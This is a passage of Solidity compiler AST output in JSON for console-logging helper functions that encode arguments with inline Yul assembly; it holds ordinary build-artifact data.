odeType":"YulIdentifier","src":"306243:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306230:6:22","nodeType":"YulIdentifier","src":"306230:6:22"},"nativeSrc":"306230:16:22","nodeType":"YulFunctionCall","src":"306230:16:22"},"nativeSrc":"306230:16:22","nodeType":"YulExpressionStatement","src":"306230:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306266:4:22","nodeType":"YulLiteral","src":"306266:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"306272:2:22","nodeType":"YulIdentifier","src":"306272:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306259:6:22","nodeType":"YulIdentifier","src":"306259:6:22"},"nativeSrc":"306259:16:22","nodeType":"YulFunctionCall","src":"306259:16:22"},"nativeSrc":"306259:16:22","nodeType":"YulExpressionStatement","src":"306259:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306300:4:22","nodeType":"YulLiteral","src":"306300:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"306306:2:22","nodeType":"YulIdentifier","src":"306306:2:22"}],"functionName":{"name":"writeString","nativeSrc":"306288:11:22","nodeType":"YulIdentifier","src":"306288:11:22"},"nativeSrc":"306288:21:22","nodeType":"YulFunctionCall","src":"306288:21:22"},"nativeSrc":"306288:21:22","nodeType":"YulExpressionStatement","src":"306288:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43830,"isOffset":false,"isSlot":false,"src":"305857:2:22","valueSize":1},{"declaration":43833,"isOffset":false,"isSlot":false,"src":"305887:2:22","valueSize":1},{"declaration":43836,"isOffset":false,"isSlot":false,"src":"305917:2:22","valueSize":1},{"declaration":43839,"isOffset":false,"isSlot":false,"src":"305947:2:22","valueSize":1},{"declaration":43842,"isOffset":false,"isSlot":false,"src":"305977:2:22","valueSize":1},{"declaration":43845,"isOffset":false,"isSlot":false,"src":"306007:2:22","valueSize":1},{"declaration":43848,"isOffset":false,"isSlot":false,"src":"306037:2:22","valueSize":1},{"declaration":43820,"isOffset":false,"isSlot":false,"src":"306306:2:22","valueSize":1},{"declaration":43822,"isOffset":false,"isSlot":false,"src":"306214:2:22","valueSize":1},{"declaration":43824,"isOffset":false,"isSlot":false,"src":"306243:2:22","valueSize":1},{"declaration":43826,"isOffset":false,"isSlot":false,"src":"306272:2:22","valueSize":1}],"id":43850,"nodeType":"InlineAssembly","src":"305479:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43852,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"306344:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43853,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"306350:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43851,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"306328:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43854,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"306328:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43855,"nodeType":"ExpressionStatement","src":"306328:27:22"},{"AST":{"nativeSrc":"306374:214:22","nodeType":"YulBlock","src":"306374:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"306395:4:22","nodeType":"YulLiteral","src":"306395:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"306401:2:22","nodeType":"YulIdentifier","src":"306401:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306388:6:22","nodeType":"YulIdentifier","src":"306388:6:22"},"nativeSrc":"306388:16:22","nodeType":"YulFunctionCall","src":"306388:16:22"},"nativeSrc":"306388:16:22","nodeType":"YulExpressionStatement","src":"306388:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306424:4:22","nodeType":"YulLiteral","src":"306424:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"306430:2:22","nodeType":"YulIdentifier","src":"306430:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306417:6:22","nodeType":"YulIdentifier","src":"306417:6:22"},"nativeSrc":"306417:16:22","nodeType":"YulFunctionCall","src":"306417:16:22"},"nativeSrc":"306417:16:22","nodeType":"YulExpressionStatement","src":"306417:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306453:4:22","nodeType":"YulLiteral","src":"306453:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"306459:2:22","nodeType":"YulIdentifier","src":"306459:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306446:6:22","nodeType":"YulIdentifier","src":"306446:6:22"},"nativeSrc":"306446:16:22","nodeType":"YulFunctionCall","src":"306446:16:22"},"nativeSrc":"306446:16:22","nodeType":"YulExpressionStatement","src":"306446:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306482:4:22","nodeType":"YulLiteral","src":"306482:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"306488:2:22","nodeType":"YulIdentifier","src":"306488:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306475:6:22","nodeType":"YulIdentifier","src":"306475:6:22"},"nativeSrc":"306475:16:22","nodeType":"YulFunctionCall","src":"306475:16:22"},"nativeSrc":"306475:16:22","nodeType":"YulExpressionStatement","src":"306475:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306511:4:22","nodeType":"YulLiteral","src":"306511:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"306517:2:22","nodeType":"YulIdentifier","src":"306517:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306504:6:22","nodeType":"YulIdentifier","src":"306504:6:22"},"nativeSrc":"306504:16:22","nodeType":"YulFunctionCall","src":"306504:16:22"},"nativeSrc":"306504:16:22","nodeType":"YulExpressionStatement","src":"306504:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306540:4:22","nodeType":"YulLiteral","src":"306540:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"306546:2:22","nodeType":"YulIdentifier","src":"306546:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306533:6:22","nodeType":"YulIdentifier","src":"306533:6:22"},"nativeSrc":"306533:16:22","nodeType":"YulFunctionCall","src":"306533:16:22"},"nativeSrc":"306533:16:22","nodeType":"YulExpressionStatement","src":"306533:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306569:4:22","nodeType":"YulLiteral","src":"306569:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"306575:2:22","nodeType":"YulIdentifier","src":"306575:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306562:6:22","nodeType":"YulIdentifier","src":"306562:6:22"},"nativeSrc":"306562:16:22","nodeType":"YulFunctionCall","src":"306562:16:22"},"nativeSrc":"306562:16:22","nodeType":"YulExpressionStatement","src":"306562:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43830,"isOffset":false,"isSlot":false,"src":"306401:2:22","valueSize":1},{"declaration":43833,"isOffset":false,"isSlot":false,"src":"306430:2:22","valueSize":1},{"declaration":43836,"isOffset":false,"isSlot":false,"src":"306459:2:22","valueSize":1},{"declaration":43839,"isOffset":false,"isSlot":false,"src":"306488:2:22","valueSize":1},{"declaration":43842,"isOffset":false,"isSlot":false,"src":"306517:2:22","valueSize":1},{"declaration":43845,"isOffset":false,"isSlot":false,"src":"306546:2:22","valueSize":1},{"declaration":43848,"isOffset":false,"isSlot":false,"src":"306575:2:22","valueSize":1}],"id":43856,"nodeType":"InlineAssembly","src":"306365:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"305263:3:22","parameters":{"id":43827,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43820,"mutability":"mutable","name":"p0","nameLocation":"305275:2:22","nodeType":"VariableDeclaration","scope":43858,"src":"305267:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43819,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305267:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43822,"mutability":"mutable","name":"p1","nameLocation":"305287:2:22","nodeType":"VariableDeclaration","scope":43858,"src":"305279:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43821,"name":"address","nodeType":"ElementaryTypeName","src":"305279:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43824,"mutability":"mutable","name":"p2","nameLocation":"305299:2:22","nodeType":"VariableDeclaration","scope":43858,"src":"305291:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43823,"name":"address","nodeType":"ElementaryTypeName","src":"305291:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43826,"mutability":"mutable","name":"p3","nameLocation":"305311:2:22","nodeType":"VariableDeclaration","scope":43858,"src":"305303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43825,"name":"uint256","nodeType":"ElementaryTypeName","src":"305303:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"305266:48:22"},"returnParameters":{"id":43828,"nodeType":"ParameterList","parameters":[],"src":"305329:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43904,"nodeType":"FunctionDefinition","src":"306600:1536:22","nodes":[],"body":{"id":43903,"nodeType":"Block","src":"306675:1461:22","nodes":[],"statements":[{"assignments":[43870],"declarations":[{"constant":false,"id":43870,"mutability":"mutable","name":"m0","nameLocation":"306693:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306685:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43869,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306685:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43871,"nodeType":"VariableDeclarationStatement","src":"306685:10:22"},{"assignments":[43873],"declarations":[{"constant":false,"id":43873,"mutability":"mutable","name":"m1","nameLocation":"306713:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306705:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43872,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306705:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43874,"nodeType":"VariableDeclarationStatement","src":"306705:10:22"},{"assignments":[43876],"declarations":[{"constant":false,"id":43876,"mutability":"mutable","name":"m2","nameLocation":"306733:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306725:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43875,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306725:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43877,"nodeType":"VariableDeclarationStatement","src":"306725:10:22"},{"assignments":[43879],"declarations":[{"constant":false,"id":43879,"mutability":"mutable","name":"m3","nameLocation":"306753:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306745:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43878,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306745:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43880,"nodeType":"VariableDeclarationStatement","src":"306745:10:22"},{"assignments":[43882],"declarations":[{"constant":false,"id":43882,"mutability":"mutable","name":"m4","nameLocation":"306773:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306765:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43881,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306765:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43883,"nodeType":"VariableDeclarationStatement","src":"306765:10:22"},{"assignments":[43885],"declarations":[{"constant":false,"id":43885,"mutability":"mutable","name":"m5","nameLocation":"306793:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306785:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43884,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306785:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43886,"nodeType":"VariableDeclarationStatement","src":"306785:10:22"},{"assignments":[43888],"declarations":[{"constant":false,"id":43888,"mutability":"mutable","name":"m6","nameLocation":"306813:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306805:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43887,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306805:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43889,"nodeType":"VariableDeclarationStatement","src":"306805:10:22"},{"assignments":[43891],"declarations":[{"constant":false,"id":43891,"mutability":"mutable","name":"m7","nameLocation":"306833:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306825:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43890,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306825:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43892,"nodeType":"VariableDeclarationStatement","src":"306825:10:22"},{"assignments":[43894],"declarations":[{"constant":false,"id":43894,"mutability":"mutable","name":"m8","nameLocation":"306853:2:22","nodeType":"VariableDeclaration","scope":43903,"src":"306845:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43893,"name":"bytes32","nodeType":"ElementaryTypeName","src":"306845:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43895,"nodeType":"VariableDeclarationStatement","src":"306845:10:22"},{"AST":{"nativeSrc":"306874:927:22","nodeType":"YulBlock","src":"306874:927:22","statements":[{"body":{"nativeSrc":"306917:313:22","nodeType":"YulBlock","src":"306917:313:22","statements":[{"nativeSrc":"306935:15:22","nodeType":"YulVariableDeclaration","src":"306935:15:22","value":{"kind":"number","nativeSrc":"306949:1:22","nodeType":"YulLiteral","src":"306949:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"306939:6:22","nodeType":"YulTypedName","src":"306939:6:22","type":""}]},{"body":{"nativeSrc":"307020:40:22","nodeType":"YulBlock","src":"307020:40:22","statements":[{"body":{"nativeSrc":"307049:9:22","nodeType":"YulBlock","src":"307049:9:22","statements":[{"nativeSrc":"307051:5:22","nodeType":"YulBreak","src":"307051:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"307037:6:22","nodeType":"YulIdentifier","src":"307037:6:22"},{"name":"w","nativeSrc":"307045:1:22","nodeType":"YulIdentifier","src":"307045:1:22"}],"functionName":{"name":"byte","nativeSrc":"307032:4:22","nodeType":"YulIdentifier","src":"307032:4:22"},"nativeSrc":"307032:15:22","nodeType":"YulFunctionCall","src":"307032:15:22"}],"functionName":{"name":"iszero","nativeSrc":"307025:6:22","nodeType":"YulIdentifier","src":"307025:6:22"},"nativeSrc":"307025:23:22","nodeType":"YulFunctionCall","src":"307025:23:22"},"nativeSrc":"307022:36:22","nodeType":"YulIf","src":"307022:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"306977:6:22","nodeType":"YulIdentifier","src":"306977:6:22"},{"kind":"number","nativeSrc":"306985:4:22","nodeType":"YulLiteral","src":"306985:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"306974:2:22","nodeType":"YulIdentifier","src":"306974:2:22"},"nativeSrc":"306974:16:22","nodeType":"YulFunctionCall","src":"306974:16:22"},"nativeSrc":"306967:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"306991:28:22","nodeType":"YulBlock","src":"306991:28:22","statements":[{"nativeSrc":"306993:24:22","nodeType":"YulAssignment","src":"306993:24:22","value":{"arguments":[{"name":"length","nativeSrc":"307007:6:22","nodeType":"YulIdentifier","src":"307007:6:22"},{"kind":"number","nativeSrc":"307015:1:22","nodeType":"YulLiteral","src":"307015:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"307003:3:22","nodeType":"YulIdentifier","src":"307003:3:22"},"nativeSrc":"307003:14:22","nodeType":"YulFunctionCall","src":"307003:14:22"},"variableNames":[{"name":"length","nativeSrc":"306993:6:22","nodeType":"YulIdentifier","src":"306993:6:22"}]}]},"pre":{"nativeSrc":"306971:2:22","nodeType":"YulBlock","src":"306971:2:22","statements":[]},"src":"306967:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"307084:3:22","nodeType":"YulIdentifier","src":"307084:3:22"},{"name":"length","nativeSrc":"307089:6:22","nodeType":"YulIdentifier","src":"307089:6:22"}],"functionName":{"name":"mstore","nativeSrc":"307077:6:22","nodeType":"YulIdentifier","src":"307077:6:22"},"nativeSrc":"307077:19:22","nodeType":"YulFunctionCall","src":"307077:19:22"},"nativeSrc":"307077:19:22","nodeType":"YulExpressionStatement","src":"307077:19:22"},{"nativeSrc":"307113:37:22","nodeType":"YulVariableDeclaration","src":"307113:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"307130:3:22","nodeType":"YulLiteral","src":"307130:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"307139:1:22","nodeType":"YulLiteral","src":"307139:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"307142:6:22","nodeType":"YulIdentifier","src":"307142:6:22"}],"functionName":{"name":"shl","nativeSrc":"307135:3:22","nodeType":"YulIdentifier","src":"307135:3:22"},"nativeSrc":"307135:14:22","nodeType":"YulFunctionCall","src":"307135:14:22"}],"functionName":{"name":"sub","nativeSrc":"307126:3:22","nodeType":"YulIdentifier","src":"307126:3:22"},"nativeSrc":"307126:24:22","nodeType":"YulFunctionCall","src":"307126:24:22"},"variables":[{"name":"shift","nativeSrc":"307117:5:22","nodeType":"YulTypedName","src":"307117:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"307178:3:22","nodeType":"YulIdentifier","src":"307178:3:22"},{"kind":"number","nativeSrc":"307183:4:22","nodeType":"YulLiteral","src":"307183:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"307174:3:22","nodeType":"YulIdentifier","src":"307174:3:22"},"nativeSrc":"307174:14:22","nodeType":"YulFunctionCall","src":"307174:14:22"},{"arguments":[{"name":"shift","nativeSrc":"307194:5:22","nodeType":"YulIdentifier","src":"307194:5:22"},{"arguments":[{"name":"shift","nativeSrc":"307205:5:22","nodeType":"YulIdentifier","src":"307205:5:22"},{"name":"w","nativeSrc":"307212:1:22","nodeType":"YulIdentifier","src":"307212:1:22"}],"functionName":{"name":"shr","nativeSrc":"307201:3:22","nodeType":"YulIdentifier","src":"307201:3:22"},"nativeSrc":"307201:13:22","nodeType":"YulFunctionCall","src":"307201:13:22"}],"functionName":{"name":"shl","nativeSrc":"307190:3:22","nodeType":"YulIdentifier","src":"307190:3:22"},"nativeSrc":"307190:25:22","nodeType":"YulFunctionCall","src":"307190:25:22"}],"functionName":{"name":"mstore","nativeSrc":"307167:6:22","nodeType":"YulIdentifier","src":"307167:6:22"},"nativeSrc":"307167:49:22","nodeType":"YulFunctionCall","src":"307167:49:22"},"nativeSrc":"307167:49:22","nodeType":"YulExpressionStatement","src":"307167:49:22"}]},"name":"writeString","nativeSrc":"306888:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"306909:3:22","nodeType":"YulTypedName","src":"306909:3:22","type":""},{"name":"w","nativeSrc":"306914:1:22","nodeType":"YulTypedName","src":"306914:1:22","type":""}],"src":"306888:342:22"},{"nativeSrc":"307243:17:22","nodeType":"YulAssignment","src":"307243:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307255:4:22","nodeType":"YulLiteral","src":"307255:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"307249:5:22","nodeType":"YulIdentifier","src":"307249:5:22"},"nativeSrc":"307249:11:22","nodeType":"YulFunctionCall","src":"307249:11:22"},"variableNames":[{"name":"m0","nativeSrc":"307243:2:22","nodeType":"YulIdentifier","src":"307243:2:22"}]},{"nativeSrc":"307273:17:22","nodeType":"YulAssignment","src":"307273:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307285:4:22","nodeType":"YulLiteral","src":"307285:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"307279:5:22","nodeType":"YulIdentifier","src":"307279:5:22"},"nativeSrc":"307279:11:22","nodeType":"YulFunctionCall","src":"307279:11:22"},"variableNames":[{"name":"m1","nativeSrc":"307273:2:22","nodeType":"YulIdentifier","src":"307273:2:22"}]},{"nativeSrc":"307303:17:22","nodeType":"YulAssignment","src":"307303:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307315:4:22","nodeType":"YulLiteral","src":"307315:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"307309:5:22","nodeType":"YulIdentifier","src":"307309:5:22"},"nativeSrc":"307309:11:22","nodeType":"YulFunctionCall","src":"307309:11:22"},"variableNames":[{"name":"m2","nativeSrc":"307303:2:22","nodeType":"YulIdentifier","src":"307303:2:22"}]},{"nativeSrc":"307333:17:22","nodeType":"YulAssignment","src":"307333:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307345:4:22","nodeType":"YulLiteral","src":"307345:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"307339:5:22","nodeType":"YulIdentifier","src":"307339:5:22"},"nativeSrc":"307339:11:22","nodeType":"YulFunctionCall","src":"307339:11:22"},"variableNames":[{"name":"m3","nativeSrc":"307333:2:22","nodeType":"YulIdentifier","src":"307333:2:22"}]},{"nativeSrc":"307363:17:22","nodeType":"YulAssignment","src":"307363:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307375:4:22","nodeType":"YulLiteral","src":"307375:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"307369:5:22","nodeType":"YulIdentifier","src":"307369:5:22"},"nativeSrc":"307369:11:22","nodeType":"YulFunctionCall","src":"307369:11:22"},"variableNames":[{"name":"m4","nativeSrc":"307363:2:22","nodeType":"YulIdentifier","src":"307363:2:22"}]},{"nativeSrc":"307393:17:22","nodeType":"YulAssignment","src":"307393:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307405:4:22","nodeType":"YulLiteral","src":"307405:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"307399:5:22","nodeType":"YulIdentifier","src":"307399:5:22"},"nativeSrc":"307399:11:22","nodeType":"YulFunctionCall","src":"307399:11:22"},"variableNames":[{"name":"m5","nativeSrc":"307393:2:22","nodeType":"YulIdentifier","src":"307393:2:22"}]},{"nativeSrc":"307423:17:22","nodeType":"YulAssignment","src":"307423:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307435:4:22","nodeType":"YulLiteral","src":"307435:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"307429:5:22","nodeType":"YulIdentifier","src":"307429:5:22"},"nativeSrc":"307429:11:22","nodeType":"YulFunctionCall","src":"307429:11:22"},"variableNames":[{"name":"m6","nativeSrc":"307423:2:22","nodeType":"YulIdentifier","src":"307423:2:22"}]},{"nativeSrc":"307453:17:22","nodeType":"YulAssignment","src":"307453:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"307465:4:22","nodeType":"YulLiteral","src":"307465:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"307459:5:22","nodeType":"YulIdentifier","src":"307459:5:22"},"nativeSrc":"307459:11:22","nodeType":"YulFunctionCall","src":"307459:11:22"},"variableNames":[{"name":"m7","nativeSrc":"307453:2:22","nodeType":"YulIdentifier","src":"307453:2:22"}]},{"nativeSrc":"307483:18:22","nodeType":"YulAssignment","src":"307483:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"307495:5:22","nodeType":"YulLiteral","src":"307495:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"307489:5:22","nodeType":"YulIdentifier","src":"307489:5:22"},"nativeSrc":"307489:12:22","nodeType":"YulFunctionCall","src":"307489:12:22"},"variableNames":[{"name":"m8","nativeSrc":"307483:2:22","nodeType":"YulIdentifier","src":"307483:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307586:4:22","nodeType":"YulLiteral","src":"307586:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"307592:10:22","nodeType":"YulLiteral","src":"307592:10:22","type":"","value":"0x800a1c67"}],"functionName":{"name":"mstore","nativeSrc":"307579:6:22","nodeType":"YulIdentifier","src":"307579:6:22"},"nativeSrc":"307579:24:22","nodeType":"YulFunctionCall","src":"307579:24:22"},"nativeSrc":"307579:24:22","nodeType":"YulExpressionStatement","src":"307579:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307623:4:22","nodeType":"YulLiteral","src":"307623:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"307629:4:22","nodeType":"YulLiteral","src":"307629:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"307616:6:22","nodeType":"YulIdentifier","src":"307616:6:22"},"nativeSrc":"307616:18:22","nodeType":"YulFunctionCall","src":"307616:18:22"},"nativeSrc":"307616:18:22","nodeType":"YulExpressionStatement","src":"307616:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307654:4:22","nodeType":"YulLiteral","src":"307654:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"307660:2:22","nodeType":"YulIdentifier","src":"307660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307647:6:22","nodeType":"YulIdentifier","src":"307647:6:22"},"nativeSrc":"307647:16:22","nodeType":"YulFunctionCall","src":"307647:16:22"},"nativeSrc":"307647:16:22","nodeType":"YulExpressionStatement","src":"307647:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307683:4:22","nodeType":"YulLiteral","src":"307683:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"307689:2:22","nodeType":"YulIdentifier","src":"307689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"307676:6:22","nodeType":"YulIdentifier","src":"307676:6:22"},"nativeSrc":"307676:16:22","nodeType":"YulFunctionCall","src":"307676:16:22"},"nativeSrc":"307676:16:22","nodeType":"YulExpressionStatement","src":"307676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307712:4:22","nodeType":"YulLiteral","src":"307712:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"307718:4:22","nodeType":"YulLiteral","src":"307718:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"307705:6:22","nodeType":"YulIdentifier","src":"307705:6:22"},"nativeSrc":"307705:18:22","nodeType":"YulFunctionCall","src":"307705:18:22"},"nativeSrc":"307705:18:22","nodeType":"YulExpressionStatement","src":"307705:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307748:4:22","nodeType":"YulLiteral","src":"307748:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"307754:2:22","nodeType":"YulIdentifier","src":"307754:2:22"}],"functionName":{"name":"writeString","nativeSrc":"307736:11:22","nodeType":"YulIdentifier","src":"307736:11:22"},"nativeSrc":"307736:21:22","nodeType":"YulFunctionCall","src":"307736:21:22"},"nativeSrc":"307736:21:22","nodeType":"YulExpressionStatement","src":"307736:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"307782:4:22","nodeType":"YulLiteral","src":"307782:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"307788:2:22","nodeType":"YulIdentifier","src":"307788:2:22"}],"functionName":{"name":"writeString","nativeSrc":"307770:11:22","nodeType":"YulIdentifier","src":"307770:11:22"},"nativeSrc":"307770:21:22","nodeType":"YulFunctionCall","src":"307770:21:22"},"nativeSrc":"307770:21:22","nodeType":"YulExpressionStatement","src":"307770:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43870,"isOffset":false,"isSlot":false,"src":"307243:2:22","valueSize":1},{"declaration":43873,"isOffset":false,"isSlot":false,"src":"307273:2:22","valueSize":1},{"declaration":43876,"isOffset":false,"is